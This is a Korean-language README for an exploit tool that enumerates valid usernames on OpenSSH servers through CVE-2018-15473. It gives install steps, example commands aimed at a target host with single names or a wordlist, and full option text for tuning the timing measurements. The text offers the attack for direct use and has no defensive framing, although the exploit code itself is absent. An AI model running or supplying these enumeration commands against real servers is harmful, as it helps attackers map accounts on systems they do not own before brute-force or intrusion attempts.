
CVE-2018-15473 익스플로잇
이 익스플로잇을 사용하려면 Python 2.7이 필요합니다. 아래에 주어진 모든 모듈을 Python 2.7에 설치하세요.
예: python2 -m pip install numpy python2 -m pip install paramiko python2 -m pip install property
단일 사용자 이름을 테스트하려면 다음 명령어를 사용하세요: python ./sshuserenumeration.py -u
예: python ./sshuserenumeration.py -u root site.com
목록 파일로 여러 사용자 이름을 테스트하려면 다음 명령어를 사용하세요: python ./sshuserenumeration.py --userlist <name_list.txt>
예: python ./sshuserenumeration.py --userlist users.txt site.com
사용법: sshuserenumeration.py [-h] [-u USER | -U USERLIST] [-e] [-s] [--bytes BYTES] [--samples SAMPLES] [--factor FACTOR] [--trials TRIALS] host
위치 인자: host SSH 서버 주소 입력 (예: ip:port 또는 IP만 입력)
선택적 인자: -h, --help 도움말 메시지를 표시하고 종료합니다 -u USER, --user USER 단일 사용자 이름을 입력합니다 -U USERLIST, --userlist USERLIST 사용자 목록이 포함된 파일을 입력합니다 -e, --enumerated 열거된 사용자만 표시합니다 -s, --silent -e와 같지만, 사용자 이름만 stdout에 기록됩니다 (배너, 그 어떤 것도 출력되지 않음) --bytes BYTES SSH 데몬에 비밀번호로 BYTES만큼 전송합니다 --samples SAMPLES 존재하지 않는 사용자 인증에 대한 타이밍 기준선을 계산하기 위해 SAMPLES만큼 수집합니다 --factor FACTOR 사용자 열거를 위한 상위 타이밍 경계를 계산하는 데 사용됩니다 --trials TRIALS 사용자 X를 TRIALS번 인증 시도하고 인증 타이밍의 평균을 타이밍 경계와 비교합니다